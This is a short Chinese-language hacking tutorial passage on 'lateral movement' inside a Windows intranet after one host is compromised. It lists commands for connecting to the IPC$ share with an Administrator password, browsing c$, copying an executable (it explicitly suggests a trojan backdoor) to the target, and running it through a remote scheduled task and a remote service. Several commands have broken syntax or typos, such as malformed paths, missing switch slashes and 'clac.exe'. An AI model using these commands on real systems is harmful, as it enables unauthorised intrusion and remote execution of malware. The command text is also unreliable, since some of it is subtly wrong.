五，横向移动
解释：，你已经拥有哪里内网中某一台主机的权限，想要扩大战果，获取域管理权限。方法：
1）IPC 入侵(Inter-Process Communication) 进程间通信
命令 net use
实例：
net use \\192.168.100.138\IPC$ "bihuo.cn" /user:Administrator
利用IPC建立的链接，可以直接远程访问想要访问到的文件目录。
建立IPC后，可以直接打开共享目录。
也可以命令行中执行：dir \\192.168.100.138\c$
也可以copy一个可执行程序(木马后门也可以)到目标目录
copy c:/windows/system32/calc.exe //192.168.100.138 c$
建立定时任务执行程序
schtasks /create /S 192.168.100.138 /SC minute TN sch_test TR C:/calc.exe /ST 21:08
利用sc创建任务
sc \\192.168.100.138 create ipc_test binPath= "cmd.exe /c C:\clac.exe"
执行任务
sc \\192.168.100.138 start ipc_test
页:
[1]